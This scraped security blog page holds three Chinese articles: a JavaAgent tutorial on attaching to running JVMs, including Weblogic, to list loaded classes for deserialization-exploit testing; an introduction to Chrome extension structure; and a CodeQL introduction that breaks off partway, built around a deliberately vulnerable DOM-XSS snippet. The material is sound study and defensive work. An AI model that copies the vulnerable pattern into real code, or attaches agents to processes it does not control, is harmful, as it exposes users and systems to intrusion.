-
认识 JavaAgent –获取目标进程已加载的所有类
之前在一个应用中搜索到一个类,但是在反序列化测试的时出错,错误不是
class notfound
,是其他0xxx
这样的错误,通过搜索这个错误大概是类没有被加载。最近刚好看到了JavaAgent,初步学习了下,能进行拦截,主要通过Instrument Agent来进行字节码增强,可以进行字节码插桩,bTrace,Arthas 等操作,结合ASM,javassist,cglib框架能实现更强大的功能。Java RASP也是基于JavaAgent实现的。趁热记录下JavaAgent基础概念,以及简单使用JavaAgent实现一个获取目标进程已加载的类的测试。JVMTI与Java Instrument
Java平台调试器架构(Java Platform Debugger Architecture,JPDA)是一组用于调试Java代码的API(摘自维基百科):
- Java调试器接口(Java Debugger Interface,JDI)——定义了一个高层次Java接口,开发人员可以利用JDI轻松编写远程调试工具
- Java虚拟机工具接口(Java Virtual Machine Tools Interface,JVMTI)——定义了一个原生(native)接口,可以对运行在Java虚拟机的应用程序检查状态、控制运行
- Java虚拟机调试接口(JVMDI)——JVMDI在J2SE 5中被JVMTI取代,并在Java SE 6中被移除
- Java调试线协议(JDWP)——定义了调试对象(一个 Java 应用程序)和调试器进程之间的通信协议
JVMTI 提供了一套"代理"程序机制,可以支持第三方工具程序以代理的方式连接和访问 JVM,并利用 JVMTI 提供的丰富的编程接口,完成很多跟 JVM 相关的功能。JVMTI是基于事件驱动的,JVM每执行到一定的逻辑就会调用一些事件的回调接口(如果有的话),这些接口可以供开发者去扩展自己的逻辑。
JVMTIAgent是一个利用JVMTI暴露出来的接口提供了代理启动时加载(agent on load)、代理通过attach形式加载(agent on attach)和代理卸载(agent on unload)功能的动态库。Instrument Agent可以理解为一类JVMTIAgent动态库,别名是JPLISAgent(Java Programming Language Instrumentation Services Agent),是专门为java语言编写的插桩服务提供支持的代理。
Instrumentation接口
以下接口是Java SE 8 API文档中[1]提供的(不同版本可能接口有变化):
1234567891011121314151617181920212223242526272829void addTransformer(ClassFileTransformer transformer, boolean canRetransform)//注册ClassFileTransformer实例,注册多个会按照注册顺序进行调用。所有的类被加载完毕之后会调用ClassFileTransformer实例,相当于它们通过了redefineClasses方法进行重定义。布尔值参数canRetransform决定这里被重定义的类是否能够通过retransformClasses方法进行回滚。void addTransformer(ClassFileTransformer transformer)//相当于addTransformer(transformer, false),也就是通过ClassFileTransformer实例重定义的类不能进行回滚。boolean removeTransformer(ClassFileTransformer transformer)//移除(反注册)ClassFileTransformer实例。void retransformClasses(Class<?>... classes)//已加载类进行重新转换的方法,重新转换的类会被回调到ClassFileTransformer的列表中进行处理。void appendToBootstrapClassLoaderSearch(JarFile jarfile)//将某个jar加入到Bootstrap Classpath里优先其他jar被加载。void appendToSystemClassLoaderSearch(JarFile jarfile)//将某个jar加入到Classpath里供AppClassloard去加载。Class[] getAllLoadedClasses()//获取所有已经被加载的类。Class[] getInitiatedClasses(ClassLoader loader)//获取所有已经被初始化过了的类。long getObjectSize(Object objectToSize)//获取某个对象的(字节)大小,注意嵌套对象或者对象中的属性引用需要另外单独计算。boolean isModifiableClass(Class<?> theClass)//判断对应类是否被修改过。boolean isNativeMethodPrefixSupported()//是否支持设置native方法的前缀。boolean isRedefineClassesSupported()//返回当前JVM配置是否支持重定义类(修改类的字节码)的特性。boolean isRetransformClassesSupported()//返回当前JVM配置是否支持类重新转换的特性。void redefineClasses(ClassDefinition... definitions)//重定义类,也就是对已经加载的类进行重定义,ClassDefinition类型的入参包括了对应的类型Class<?>对象和字节码文件对应的字节数组。void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix)//设置某些native方法的前缀,主要在找native方法的时候做规则匹配。redefineClasses与redefineClasses:
重新定义功能在Java SE 5中进行了介绍,重新转换功能在Java SE 6中进行了介绍,一种猜测是将重新转换作为更通用的功能引入,但是必须保留重新定义以实现向后兼容,并且重新转换操作也更加方便。
Instrument Agent两种加载方式
在官方API文档[1]中提到,有两种获取Instrumentation接口实例的方法 :
- JVM在指定代理的方式下启动,此时Instrumentation实例会传递到代理类的premain方法。
- JVM提供一种在启动之后的某个时刻启动代理的机制,此时Instrumentation实例会传递到代理类代码的agentmain方法。
premain对应的就是VM启动时的Instrument Agent加载,即
agent on load
,agentmain对应的是VM运行时的Instrument Agent加载,即agent on attach
。两种加载形式所加载的Instrument Agent
都关注同一个JVMTI
事件 –ClassFileLoadHook
事件,这个事件是在读取字节码文件之后回调时用,也就是说premain和agentmain方式的回调时机都是类文件字节码读取之后(或者说是类加载之后),之后对字节码进行重定义或重转换,不过修改的字节码也需要满足一些要求,在最后的局限性有说明。premain与agentmain的区别:
premain
和agentmain
两种方式最终的目的都是为了回调Instrumentation
实例并激活sun.instrument.InstrumentationImpl#transform()
(InstrumentationImpl是Instrumentation的实现类)从而回调注册到Instrumentation
中的ClassFileTransformer
实现字节码修改,本质功能上没有很大区别。两者的非本质功能的区别如下:- premain方式是JDK1.5引入的,agentmain方式是JDK1.6引入的,JDK1.6之后可以自行选择使用
premain
或者agentmain
。 premain
需要通过命令行使用外部代理jar包,即-javaagent:代理jar包路径
;agentmain
则可以通过attach
机制直接附着到目标VM中加载代理,也就是使用agentmain
方式下,操作attach
的程序和被代理的程序可以是完全不同的两个程序。premain
方式回调到ClassFileTransformer
中的类是虚拟机加载的所有类,这个是由于代理加载的顺序比较靠前决定的,在开发者逻辑看来就是:所有类首次加载并且进入程序main()
方法之前,premain
方法会被激活,然后所有被加载的类都会执行ClassFileTransformer
列表中的回调。agentmain
方式由于是采用attach
机制,被代理的目标程序VM有可能很早之前已经启动,当然其所有类已经被加载完成,这个时候需要借助Instrumentation#retransformClasses(Class<?>... classes)
让对应的类可以重新转换,从而激活重新转换的类执行ClassFileTransformer
列表中的回调。- 通过premain方式的代理Jar包进行了更新的话,需要重启服务器,而agentmain方式的Jar包如果进行了更新的话,需要重新attach,但是agentmain重新attach还会导致重复的字节码插入问题,不过也有
Hotswap
和DCE VM
方式来避免。
通过下面的测试也能看到它们之间的一些区别。
premain加载方式
premain方式编写步骤简单如下:
1.编写premain函数,包含下面两个方法的其中之一:
java public static void premain(String agentArgs, Instrumentation inst); public static void premain(String agentArgs);
如果两个方法都被实现了,那么带Instrumentation参数的优先级高一些,会被优先调用。
agentArgs
是premain
函数得到的程序参数,通过命令行参数传入2.定义一个 MANIFEST.MF 文件,必须包含 Premain-Class 选项,通常也会加入Can-Redefine-Classes 和 Can-Retransform-Classes 选项
3.将 premain 的类和 MANIFEST.MF 文件打成 jar 包
4.使用参数 -javaagent: jar包路径启动代理
premain加载过程如下:
1.创建并初始化 JPLISAgent
2.MANIFEST.MF 文件的参数,并根据这些参数来设置 JPLISAgent 里的一些内容
3.监听VMInit
事件,在 JVM 初始化完成之后做下面的事情:
(1)创建 InstrumentationImpl 对象 ;
(2)监听 ClassFileLoadHook 事件 ;
(3)调用 InstrumentationImpl 的loadClassAndCallPremain
方法,在这个方法里会去调用 javaagent 中 MANIFEST.MF 里指定的Premain-Class 类的 premain 方法下面是一个简单的例子(在JDK1.8.0_181进行了测试):
PreMainAgent
1234567891011121314151617181920212223242526272829303132package com.longofo;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class PreMainAgent {static {System.out.println("PreMainAgent class static block run...");}public static void premain(String agentArgs, Instrumentation inst) {System.out.println("PreMainAgent agentArgs : " + agentArgs);Class<?>[] cLasses = inst.getAllLoadedClasses();for (Class<?> cls : cLasses) {System.out.println("PreMainAgent get loaded class:" + cls.getName());}inst.addTransformer(new DefineTransformer(), true);}static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println("PreMainAgent transform Class:" + className);return classfileBuffer;}}}MANIFEST.MF:
1234Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: truePremain-Class: com.longofo.PreMainAgentTestmain
123456789101112131415161718192021package com.longofo;public class TestMain {static {System.out.println("TestMain static block run...");}public static void main(String[] args) {System.out.println("TestMain main start...");try {for (int i = 0; i < 100; i++) {Thread.sleep(3000);System.out.println("TestMain main running...");}} catch (InterruptedException e) {e.printStackTrace();}System.out.println("TestMain main end...");}}将PreMainAgent打包为Jar包(可以直接用idea打包,也可以使用maven插件打包),在idea可以像下面这样启动:
命令行的话可以用形如
java -javaagent:PreMainAgent.jar路径 -jar TestMain/TestMain.jar
启动结果如下:
1234567891011121314151617181920212223242526272829303132333435PreMainAgent class static block run...PreMainAgent agentArgs : nullPreMainAgent get loaded class:com.longofo.PreMainAgentPreMainAgent get loaded class:sun.reflect.DelegatingMethodAccessorImplPreMainAgent get loaded class:sun.reflect.NativeMethodAccessorImplPreMainAgent get loaded class:sun.instrument.InstrumentationImpl$1PreMainAgent get loaded class:[Ljava.lang.reflect.Method;......PreMainAgent transform Class:sun/nio/cs/ThreadLocalCodersPreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders$1PreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders$CachePreMainAgent transform Class:sun/nio/cs/ThreadLocalCoders$2......PreMainAgent transform Class:java/lang/Class$MethodArrayPreMainAgent transform Class:java/net/DualStackPlainSocketImplPreMainAgent transform Class:java/lang/VoidTestMain static block run...TestMain main start...PreMainAgent transform Class:java/net/Inet6AddressPreMainAgent transform Class:java/net/Inet6Address$Inet6AddressHolderPreMainAgent transform Class:java/net/SocksSocketImpl$3......PreMainAgent transform Class:java/util/LinkedHashMap$LinkedKeySetPreMainAgent transform Class:sun/util/locale/provider/LocaleResources$ResourceReferenceTestMain main running...TestMain main running.........TestMain main running...TestMain main end...PreMainAgent transform Class:java/lang/ShutdownPreMainAgent transform Class:java/lang/Shutdown$Lock可以看到在PreMainAgent之前已经加载了一些必要的类,即PreMainAgent get loaded class:xxx部分,这些类没有经过transform。然后在main之前有一些类经过了transform,在main启动之后还有类经过transform,main结束之后也还有类经过transform,可以和agentmain的结果对比下。
agentmain加载方式
agentmain方式编写步骤简单如下:
1.编写agentmain函数,包含下面两个方法的其中之一:
12public static void agentmain(String agentArgs, Instrumentation inst);public static void agentmain(String agentArgs);如果两个方法都被实现了,那么带Instrumentation参数的优先级高一些,会被优先调用。
agentArgs
是premain
函数得到的程序参数,通过命令行参数传入2.定义一个 MANIFEST.MF 文件,必须包含 Agent-Class 选项,通常也会加入Can-Redefine-Classes 和 Can-Retransform-Classes 选项
3.将 agentmain 的类和 MANIFEST.MF 文件打成 jar 包
4.通过attach工具直接加载Agent,执行attach的程序和需要被代理的程序可以是两个完全不同的程序:
123456// 列出所有VM实例List<VirtualMachineDescriptor> list = VirtualMachine.list();// attach目标VMVirtualMachine.attach(descriptor.id());// 目标VM加载AgentVirtualMachine#loadAgent("代理Jar路径","命令参数");agentmain方式加载过程类似:
1.创建并初始化JPLISAgent
2.解析MANIFEST.MF 里的参数,并根据这些参数来设置 JPLISAgent 里的一些内容
3.监听VMInit
事件,在 JVM 初始化完成之后做下面的事情:
(1)创建 InstrumentationImpl 对象 ;
(2)监听 ClassFileLoadHook 事件 ;
(3)调用 InstrumentationImpl 的loadClassAndCallAgentmain
方法,在这个方法里会去调用javaagent里 MANIFEST.MF 里指定的Agent-Class
类的agentmain
方法。下面是一个简单的例子(在JDK 1.8.0_181上进行了测试):
SufMainAgent
1234567891011121314151617181920212223242526272829303132package com.longofo;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class SufMainAgent {static {System.out.println("SufMainAgent static block run...");}public static void agentmain(String agentArgs, Instrumentation instrumentation) {System.out.println("SufMainAgent agentArgs: " + agentArgs);Class<?>[] classes = instrumentation.getAllLoadedClasses();for (Class<?> cls : classes) {System.out.println("SufMainAgent get loaded class: " + cls.getName());}instrumentation.addTransformer(new DefineTransformer(), true);}static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println("SufMainAgent transform Class:" + className);return classfileBuffer;}}}MANIFEST.MF
1234Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: com.longofo.SufMainAgentTestSufMainAgent
12345678910111213141516171819202122232425262728293031package com.longofo;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class TestSufMainAgent {public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {//获取当前系统中所有 运行中的 虚拟机System.out.println("TestSufMainAgent start...");String option = args[0];List<VirtualMachineDescriptor> list = VirtualMachine.list();if (option.equals("list")) {for (VirtualMachineDescriptor vmd : list) {//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid//然后加载 agent.jar 发送给该虚拟机System.out.println(vmd.displayName());}} else if (option.equals("attach")) {String jProcessName = args[1];String agentPath = args[2];for (VirtualMachineDescriptor vmd : list) {if (vmd.displayName().equals(jProcessName)) {VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());virtualMachine.loadAgent(agentPath);}}}}}Testmain
123456789101112131415161718192021package com.longofo;public class TestMain {static {System.out.println("TestMain static block run...");}public static void main(String[] args) {System.out.println("TestMain main start...");try {for (int i = 0; i < 100; i++) {Thread.sleep(3000);System.out.println("TestMain main running...");}} catch (InterruptedException e) {e.printStackTrace();}System.out.println("TestMain main end...");}}将SufMainAgent和TestSufMainAgent打包为Jar包(可以直接用idea打包,也可以使用maven插件打包),首先启动Testmain,然后先列下当前有哪些Java程序:
attach SufMainAgent到Testmain:
在Testmain中的结果如下:
12345678910111213141516171819202122232425262728TestMain static block run...TestMain main start...TestMain main running...TestMain main running...TestMain main running.........SufMainAgent static block run...SufMainAgent agentArgs: nullSufMainAgent get loaded class: com.longofo.SufMainAgentSufMainAgent get loaded class: com.longofo.TestMainSufMainAgent get loaded class: com.intellij.rt.execution.application.AppMainV2$1SufMainAgent get loaded class: com.intellij.rt.execution.application.AppMainV2......SufMainAgent get loaded class: java.lang.ThrowableSufMainAgent get loaded class: java.lang.System......TestMain main running...TestMain main running.........TestMain main running...TestMain main running...TestMain main end...SufMainAgent transform Class:java/lang/ShutdownSufMainAgent transform Class:java/lang/Shutdown$Lock和前面premain对比下就能看出,在agentmain中直接getloadedclasses的类数目比在premain直接getloadedclasses的数量多,而且premain getloadedclasses的类+premain transform的类和agentmain getloadedclasses基本吻合(只针对这个测试,如果程序中间还有其他通信,可能会不一样)。也就是说某个类之前没有加载过,那么都会通过两者设置的transform,这可以从最后的java/lang/Shutdown看出来。
测试Weblogic的某个类是否被加载
这里使用weblogic进行测试,代理方式使用agentmain方式(在jdk1.6.0_29上进行了测试):
WeblogicSufMainAgent
123456789101112131415161718192021222324252627282930import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class WeblogicSufMainAgent {static {System.out.println("SufMainAgent static block run...");}public static void agentmain(String agentArgs, Instrumentation instrumentation) {System.out.println("SufMainAgent agentArgs: " + agentArgs);Class<?>[] classes = instrumentation.getAllLoadedClasses();for (Class<?> cls : classes) {System.out.println("SufMainAgent get loaded class: " + cls.getName());}instrumentation.addTransformer(new DefineTransformer(), true);}static class DefineTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println("SufMainAgent transform Class:" + className);return classfileBuffer;}}}WeblogicTestSufMainAgent:
1234567891011121314151617181920212223242526272829import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class WeblogicTestSufMainAgent {public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {//获取当前系统中所有 运行中的 虚拟机System.out.println("TestSufMainAgent start...");String option = args[0];List<VirtualMachineDescriptor> list = VirtualMachine.list();if (option.equals("list")) {for (VirtualMachineDescriptor vmd : list) {//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid//然后加载 agent.jar 发送给该虚拟机System.out.println(vmd.displayName());}} else if (option.equals("attach")) {String jProcessName = args[1];String agentPath = args[2];for (VirtualMachineDescriptor vmd : list) {if (vmd.displayName().equals(jProcessName)) {VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());virtualMachine.loadAgent(agentPath);}}}}}列出正在运行的Java应用程序:
进行attach:
Weblogic输出:
假如在进行Weblogic t3反序列化利用时,如果某个类之前没有被加载,但是能够被Weblogic找到,那么利用时对应的类会通过Agent的transform,但是有些类虽然在Weblogic目录下的某些Jar包中,但是weblogic不会去加载,需要一些特殊的配置Weblogic才会去寻找并加载。
Instrumentation局限性
大多数情况下,使用Instrumentation都是使用其字节码插桩的功能,笼统说是类重转换的功能,但是有以下的局限性:
- premain和agentmain两种方式修改字节码的时机都是类文件加载之后,就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。这里需要注意的就是上面提到过的重新定义,刚才这里说的不能重新定义是指不能重新换一个类名,字节码内容依然能重新定义和修改,不过字节码内容修改后也要满足第二点的要求。
- 类转换其实最终都回归到类重定义Instrumentation#retransformClasses()方法,此方法有以下限制:
1.新类和老类的父类必须相同;
2.新类和老类实现的接口数也要相同,并且是相同的接口;
3.新类和老类访问符必须一致。 新类和老类字段数和字段名要一致;
4.新类和老类新增或删除的方法必须是private static/final修饰的;
5.可以删除修改方法体。
实际中遇到的限制可能不止这些,遇到了再去解决吧。如果想要重新定义一全新类(类名在已加载类中不存在),可以考虑基于类加载器隔离的方式:创建一个新的自定义类加载器去通过新的字节码去定义一个全新的类,不过只能通过反射调用该全新类的局限性。
小结
- 文中只是描述了JavaAgent相关的一些基础的概念,目的只是知道有这个东西,然后验证下之前遇到的一个问题。写的时候也借鉴了其他大佬写的几篇文章[4]&[5]
- 在写文章的过程中看了一些如一类PHP-RASP实现的漏洞检测的思路[6],利用了污点跟踪、hook、语法树分析等技术,也看了几篇大佬们整理的Java RASP相关文章[2]&[3],如果自己要写基于RASP的漏洞检测/利用工具的话也可以借鉴到这些思路
代码放到了github上,有兴趣的可以去测试下,注意pom.xml文件中的jdk版本,在切换JDK测试如果出现错误,记得修改pom.xml里面的JDK版本。
参考
1.https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html
2.https://paper.seebug.org/513/#0x01-rasp
3.https://paper.seebug.org/1041/#31-java-agent
4.http://www.throwable.club/2019/06/29/java-understand-instrument-first/#Instrumentation%E6%8E%A5%E5%8F%A3%E8%AF%A6%E8%A7%A3
5.https://www.cnblogs.com/rickiyang/p/11368932.html
6.https://c0d3p1ut0s.github.io/%E4%B8%80%E7%B1%BBPHP-RASP%E7%9A%84%E5%AE%9E%E7%8E%B0/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1099/
没有评论 -
从 0 开始入门 Chrome Ext 安全(一) — 了解一个 Chrome Ext
作者:LoRexxar'@知道创宇404实验室
时间:2019年11月21日在2019年初,微软正式选择了Chromium作为默认浏览器,并放弃edge的发展。并在19年4月8日,Edge正式放出了基于Chromium开发的Edge Dev浏览器,并提供了兼容Chrome Ext的配套插件管理。再加上国内的大小国产浏览器大多都是基于Chromium开发的,Chrome的插件体系越来越影响着广大的人群。
在这种背景下,Chrome Ext的安全问题也应该受到应有的关注,《从0开始入门Chrome Ext安全》就会从最基础的插件开发开始,逐步研究插件本身的恶意安全问题,恶意网页如何利用插件漏洞攻击浏览器等各种视角下的安全问题。
第一部分我们就主要来聊聊关于Chrome Ext的一些基础。
获取一个插件的代码
Chrome Ext的存在模式类似于在浏览器层新加了一层解释器,在我们访问网页的时候,插件会加载相应的html、js、css,并解释执行。
所以Chrome Ext的代码也就是html、js、css这类,那我们如何获取插件的代码呢?
当我们访问扩展程序的页面可以获得相应的插件id
然后我们可以在https://chrome-extension-downloader.com/中下载相应的crx包。
把crx改名成zip之后解压缩就可以了
manifest.json
在插件的代码中,有一个重要的文件是manifest.json,在manifest.json中包含了整个插件的各种配置,在配置文件中,我们可以找到一个插件最重要的部分。
首先是比较重要的几个字段
- browser_action
- 这个字段主要负责扩展图标点击后的弹出内容,一般为popup.html
- content_scripts
- matches 代表scripts插入的时机,默认为document_idle,代表页面空闲时
- js 代表插入的scripts文件路径
- run_at 定义了哪些页面需要插入scripts
- permissions
- 这个字段定义了插件的权限,其中包括从浏览器tab、历史纪录、cookie、页面数据等多个维度的权限定义
content_security_policy
- 这个字段定义了插件页面的CSP
- 但这个字段不影响content_scripts里的脚本
- background
- 这个字段定义插件的后台页面,这个页面在默认设置下是在后台持续运行的,只随浏览器的开启和关闭
- persistent 定义了后台页面对应的路径
- page 定义了后台的html页面
- scripts 当值为false时,background的页面不会在后台一直运行
在开始Chrome插件的研究之前,除了manifest.json的配置以外,我们还需要了解一下围绕chrome建立的插件结构。
Chrome Ext的主要展现方式
browserAction - 浏览器右上角
浏览器的右上角点击触发的就是mainfest.json中的
browser_action
12345"browser_action": {"default_icon": "img/header.jpg","default_title": "LoRexxar Tools","default_popup": "popup.html"},其中页面内容来自popup.html
pageAction
pageAction和browserAction类似,只不过其中的区别是,pageAction是在满足一定的条件下才会触发的插件,在不触发的情况下会始终保持灰色。
contextMenus 右键菜单
通过在chrome中调用chrome.contextMenus这个API,我们可以定义在浏览器中的右键菜单。
当然,要控制这个api首先你必须申请控制contextMenus的权限。
1{"permissions": ["contextMenus"]}一般来说,这个api会在background中被定义,因为background会一直在后台加载。
1234chrome.contextMenus.create({title: "测试右键菜单",onclick: function(){alert('您点击了右键菜单!');}});override - 覆盖页面
chrome提供了override用来覆盖chrome的一些特定页面。其中包括历史记录、新标签页、书签等...
123456"chrome_url_overrides":{"newtab": "newtab.html","history": "history.html","bookmarks": "bookmarks.html"}比如Toby for Chrome就是一个覆盖新标签页的插件
devtools - 开发者工具
chrome允许插件重构开发者工具,并且相应的操作。
插件中关于devtools的生命周期和F12打开的窗口时一致的,当F12关闭时,插件也会自动结束。
而在devtools页面中,插件有权访问一组特殊的API,这组API只有devtools页面中可以访问。
123chrome.devtools.panels:面板相关;chrome.devtools.inspectedWindow:获取被审查窗口的有关信息;chrome.devtools.network:获取有关网络请求的信息;1234{// 只能指向一个HTML文件,不能是JS文件"devtools_page": "devtools.html"}option - 选项
option代表着插件的设置页面,当选中图标之后右键选项可以进入这个页面。
1234567{"options_ui":{"page": "options.html","chrome_style": true},}omnibox - 搜索建议
在chrome中,如果你在地址栏输入非url时,会将内容自动传到google搜索上。
omnibox就是提供了对于这个功能的魔改,我们可以通过设置关键字触发插件,然后就可以在插件的帮助下完成搜索了。
1234{// 向地址栏注册一个关键字以提供搜索建议,只能设置一个关键字"omnibox": { "keyword" : "go" },}这个功能通过
chrome.omnibox
这个api来定义。notifications - 提醒
notifications代表右下角弹出的提示框
123456chrome.notifications.create(null, {type: 'basic',iconUrl: 'img/header.jpg',title: 'test',message: 'i found you!'});权限体系和api
在了解了各类型的插件的形式之后,还有一个比较重要的就是Chrome插件相关的权限体系和api。
Chrome发展到这个时代,其相关的权限体系划分已经算是非常细致了,具体的细节可以翻阅文档。
抛开Chrome插件的多种表现形式不谈,插件的功能主要集中在js的代码里,而js的部分主要可以划分为5种injected script、content-script、popup js、background js和devtools js.
- injected script 是直接插入到页面中的js,和普通的js一致,不能访问任何扩展API.
- content-script 只能访问extension、runtime等几个有限的API,也可以访问dom.
- popup js 可以访问大部分API,除了devtools,支持跨域访问
- background js 可以访问大部分API,除了devtools,支持跨域访问
- devtools js 只能访问devtools、extension、runtime等部分API,可以访问dom
JS 是否能访问DOM 是否能访问JS 是否可以跨域 injected script 可以访问 可以访问 不可以 content script 可以访问 不可以 不可以 popup js 不可直接访问 不可以 可以 background js 不可直接访问 不可以 可以 devtools js 可以访问 可以访问 不可以 同样的,针对这多种js,我们也需要特殊的方式进行调试
- injected script: 直接F12就可以调试
- content-script:在F12中console选择相应的域
- popup js: 在插件右键的列表中有审查弹出内容
- background js: 需要在插件管理页面点击背景页然后调试
通信方式
在前面介绍过各类js之后,我们提到一个重要的问题就是,在大部分的js中,都没有给与访问js的权限,包括其中比较关键的content script.
那么插件怎么和浏览器前台以及相互之间进行通信呢?
- injected-script content-script popup-js background-js injected-script - window.postMessage - - content-script window.postMessage - chrome.runtime.sendMessage chrome.runtime.connect chrome.runtime.sendMessage chrome.runtime.connect popup-js - chrome.tabs.sendMessage chrome.tabs.connect - chrome.extension. getBackgroundPage() background-js - chrome.tabs.sendMessage chrome.tabs.connect chrome.extension.getViews - devtools-js chrome.devtools.inspectedWindow.eval - chrome.runtime.sendMessage chrome.runtime.sendMessage popup 和 background
popup和background两个域互相直接可以调用js并且访问页面的dom。
popup可以直接用
chrome.extension.getBackgroundPage()
获取background页面的对象,而background可以直接用chrome.extension.getViews({type:'popup'})
获取popup页面的对象。12345678910// background.jsfunction test(){alert('test');}// popup.jsvar bg = chrome.extension.getBackgroundPage();bg.test(); // 访问bg的函数alert(bg.document.body.innerHTML); // 访问bg的DOMpopup\background 和 content js
popup\background 和 content js之间沟通的方式主要依赖
chrome.tabs.sendMessage
和chrome.runtime.onMessage.addListener
这种有关事件监听的交流方式。发送方使用
chrome.tabs.sendMessage
,接收方使用chrome.runtime.onMessage.addListener
监听事件。123chrome.runtime.sendMessage({greeting: '发送方!'}, function(response) {console.log('接受:' + response);});接收方
12345chrome.runtime.onMessage.addListener(function(request, sender, sendResponse){console.log(request, sender, sendResponse);sendResponse('回复:' + JSON.stringify(request));});injected script 和 content-script
由于injected script就相当于页面内执行的js,所以它没权限访问chrome对象,所以他们直接的沟通方式主要是利用
window.postMessage
或者通过DOM事件来实现。injected-script中:
1window.postMessage({"test": 'test!'}, '*');content script中:
1234window.addEventListener("message", function(e){console.log(e.data);}, false);popup\background 动态注入js
popup\background没办法直接访问页面DOM,但是可以通过
chrome.tabs.executeScript
来执行脚本,从而实现对页面DOM的操作。要注意这种操作要求必须有页面权限
123"permissions": ["tabs", "http://*/*", "https://*/*"],js
1234// 动态执行JS代码chrome.tabs.executeScript(tabId, {code: 'document.body.style.backgroundColor="red"'});// 动态执行JS文件chrome.tabs.executeScript(tabId, {file: 'some-script.js'});chrome.storage
chrome 插件还有专门的储存位置,其中包括chrome.storage和chrome.storage.sync两种,其中的区别是:
- chrome.storage 针对插件全局,在插件各个位置保存的数据都会同步。
- chrome.storage.sync 根据账户自动同步,不同的电脑登陆同一个账户都会同步。
插件想访问这个api需要提前声明storage权限。
总结
这篇文章主要描述了关于Chrome ext插件相关的许多入门知识,在谈及Chrome ext的安全问题之前,我们可能需要先了解一些关于Chrome ext开发的问题。
在下一篇文章中,我们将会围绕Chrome ext多个维度的安全问题进行探讨,在现代浏览器体系中,Chrome ext到底可能会带来什么样的安全问题。
re
- https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html
- https://developer.chrome.com/extensions/content_scripts
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1082/
- browser_action
-
代码分析引擎 CodeQL 初体验
作者:w7ay@知道创宇404实验室
日期:2019年11月18日QL是一种查询语言,支持对C++,C#,Java,JavaScript,Python,go等多种语言进行分析,可用于分析代码,查找代码中控制流等信息。
之前笔者有简单的研究通过JavaScript语义分析来查找XSS,所以对于这款引擎有浓厚的研究兴趣 。
安装
1.下载分析程序:https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql.zip
分析程序支持主流的操作系统,Windows,Mac,Linux
2.下载相关库文件:https://github.com/Semmle/ql
库文件是开源的,我们要做的是根据这些库文件来编写QL脚本。
3.下载最新版的VScode,安装CodeQL扩展程序:https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql
- 用vscode的扩展可以方便我们看代码
- 然后到扩展中心配置相关参数
4.
- cli填写下载的分析程序路径就行了,windows可以填写codeql.cmd
- 其他地方默认就行
建立数据库
以JavaScript为例,建立分析数据库,建立数据库其实就是用分析程序来分析源码。到要分析源码的根目录,执行
codeql database create jstest --language=javascript
接下来会在该目录下生成一个
jstest
的文件夹,就是数据库的文件夹了。接着用vscode打开之前下载的ql库文件,在ql选择夹中添加刚才的数据库文件,并设置为当前数据库。
接着在QL/javascript/ql/src目录下新建一个test.ql,用来编写我们的ql脚本。为什么要在这个目录下建立文件呢,因为在其他地方测试的时候
import javascript
导入不进来,在这个目录下,有个javascript.qll
就是基础类库,就可以直接引入import javascript
,当然可能也有其他的方法。看它的库文件,它基本把JavaScript中用到的库,或者其他语言的定义语法都支持了。
输出一段hello world试试?
语义分析查找的原理
刚开始接触ql语法的时候可能会感到它的语法有些奇怪,它为什么要这样设计?我先说说自己之前研究基于JavaScript语义分析查找dom-xss是怎样做的。
首先一段类似这样的javascript代码
12var param = location.hash.split("#")[1];document.write("Hello " + param + "!");常规的思路是,我们先找到
document.write
函数,由这个函数的第一个参数回溯寻找,如果发现它最后是location.hash.split("#")[1];
,就寻找成功了。我们可以称document.write
为sink
,称location.hash.split
为source
。基于语义分析就是由sink找到source的过程(当然反过来找也是可以的)。而基于这个目标,就需要我们设计一款理解代码上下文的工具,传统的正则搜索已经无法完成了。
第一步要将JavaScript的代码转换为语法树,通过
pyjsparser
可以进行转换12345678from pyjsparser import parseimport jsonhtml = '''var param = location.hash.split("#")[1];document.write("Hello " + param + "!");'''js_ast = parse(html)print(json.dumps(js_ast)) # 它输出的是python的dict格式,我们用转换为json方便查看最终就得到了如下一个树结构
这些树结构的一些定义可以参考:https://esprima.readthedocs.io/en/3.1/syntax-tree-format.html
大概意思可以这样理解:变量
param
是一个Identifier
